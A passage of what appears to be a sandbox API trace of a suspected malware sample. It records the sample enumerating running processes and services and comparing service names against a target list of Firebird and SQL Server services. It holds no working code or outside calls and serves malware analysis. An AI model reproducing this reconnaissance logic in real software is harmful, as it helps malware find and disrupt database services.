out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.932] lstrlenW (lpString="svchost.exe") returned 11 [0158.932] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.932] lstrlenW (lpString="svchost.exe") returned 11 [0158.932] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.933] lstrlenW (lpString="svchost.exe") returned 11 [0158.933] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.933] lstrlenW (lpString="svchost.exe") returned 11 [0158.933] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.933] lstrlenW (lpString="svchost.exe") returned 11 [0158.933] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.934] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.934] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.934] lstrlenW (lpString="svchost.exe") returned 11 [0158.934] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.935] lstrlenW (lpString="audiodg.exe") returned 11 [0158.935] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0158.935] lstrlenW (lpString="sihost.exe") returned 10 [0158.935] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.936] lstrlenW (lpString="svchost.exe") returned 11 [0158.936] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0158.936] lstrlenW (lpString="taskhostw.exe") returned 13 [0158.936] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0158.937] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0158.937] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0158.937] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0158.937] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0158.937] lstrlenW (lpString="Memory Compression") returned 18 [0158.937] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.938] lstrlenW (lpString="explorer.exe") returned 12 [0158.938] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0158.938] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0158.938] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0158.939] lstrlenW (lpString="SearchUI.exe") returned 12 [0158.939] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0158.939] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0158.939] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0158.940] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0158.940] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0158.940] lstrlenW (lpString="mobsync.exe") returned 11 [0158.940] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0158.940] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0158.940] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0158.941] lstrlenW (lpString="cmd.exe") returned 7 [0158.941] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0158.941] lstrlenW (lpString="conhost.exe") returned 11 [0158.941] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0158.942] CloseHandle (hObject=0x3f8) returned 1 [0158.942] Sleep (dwMilliseconds=0x1f4) [0159.733] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408ddf8 [0159.733] EnumServicesStatusExW (in: hSCManager=0x408ddf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0159.750] GetLastError () returned 0xea [0159.750] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x403f3b0 [0159.750] EnumServicesStatusExW (in: hSCManager=0x408ddf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x403f3b0, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x403f3b0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0159.765] CloseServiceHandle (hSCObject=0x408ddf8) returned 1 [0159.774] lstrlenW (lpString="AppXSvc") returned 7 [0159.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0159.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0159.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0159.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0159.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0159.774] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.774] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.774] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.774] lstrlenW (lpString="Audiosrv") returned 8 [0159.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0159.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0159.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0159.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0159.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0159.774] lstrlenW (lpString="BFE") returned 3 [0159.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.774] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.774] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.774] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0159.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0159.774] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0159.774] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0159.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0159.775] lstrlenW (lpString="CDPSvc") returned 6 [0159.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0159.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0159.775] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0159.775] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0159.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0159.775] lstrlenW (lpString="ClickToRunSvc") returned 13 [0159.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0159.775] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0159.775] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0159.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0159.775] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0159.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0159.775] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0159.775] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0159.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0159.775] lstrlenW (lpString="CryptSvc") returned 8 [0159.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.775] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.775] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.775] lstrlenW (lpString="DcomLaunch") returned 10 [0159.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.775] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.775] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.776] lstrlenW (lpString="DeviceAssociationService") returned 24 [0159.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0159.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0159.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0159.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0159.776] lstrlenW (lpString="Dhcp") returned 4 [0159.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.776] lstrlenW (lpString="Dnscache") returned 8 [0159.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.776] lstrlenW (lpString="DPS") returned 3 [0159.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.776] lstrlenW (lpString="DusmSvc") returned 7 [0159.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0159.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0159.776] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0159.776] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0159.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0159.776] lstrlenW (lpString="EventLog") returned 8 [0159.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0159.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0159.776] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0159.776] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0159.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0159.777] lstrlenW (lpString="EventSystem") returned 11 [0159.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.777] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.777] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.777] lstrlenW (lpString="FontCache") returned 9 [0159.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0159.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0159.777] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0159.777] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0159.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0159.777] lstrlenW (lpString="gpsvc") returned 5 [0159.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.777] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.777] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.777] lstrlenW (lpString="iphlpsvc") returned 8 [0159.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.777] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.777] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.777] lstrlenW (lpString="KeyIso") returned 6 [0159.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0159.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0159.777] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0159.777] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0159.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0159.777] lstrlenW (lpString="LanmanServer") returned 12 [0159.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.778] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.778] lstrlenW (lpString="lfsvc") returned 5 [0159.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0159.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0159.778] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0159.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0159.778] lstrlenW (lpString="lmhosts") returned 7 [0159.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.778] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.778] lstrlenW (lpString="LSM") returned 3 [0159.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0159.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0159.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0159.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0159.778] lstrlenW (lpString="MpsSvc") returned 6 [0159.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.778] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.778] lstrlenW (lpString="NcbService") returned 10 [0159.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0159.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0159.778] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0159.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0159.779] lstrlenW (lpString="netprofm") returned 8 [0159.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.779] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.779] lstrlenW (lpString="NgcSvc") returned 6 [0159.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0159.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0159.779] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0159.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0159.779] lstrlenW (lpString="NlaSvc") returned 6 [0159.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.779] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.779] lstrlenW (lpString="nsi") returned 3 [0159.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0159.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0159.779] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0159.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0159.779] lstrlenW (lpString="PcaSvc") returned 6 [0159.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0159.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0159.779] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0159.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0159.779] lstrlenW (lpString="PlugPlay") returned 8 [0159.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0159.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0159.779] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0159.779] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0159.780] lstrlenW (lpString="Power") returned 5 [0159.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 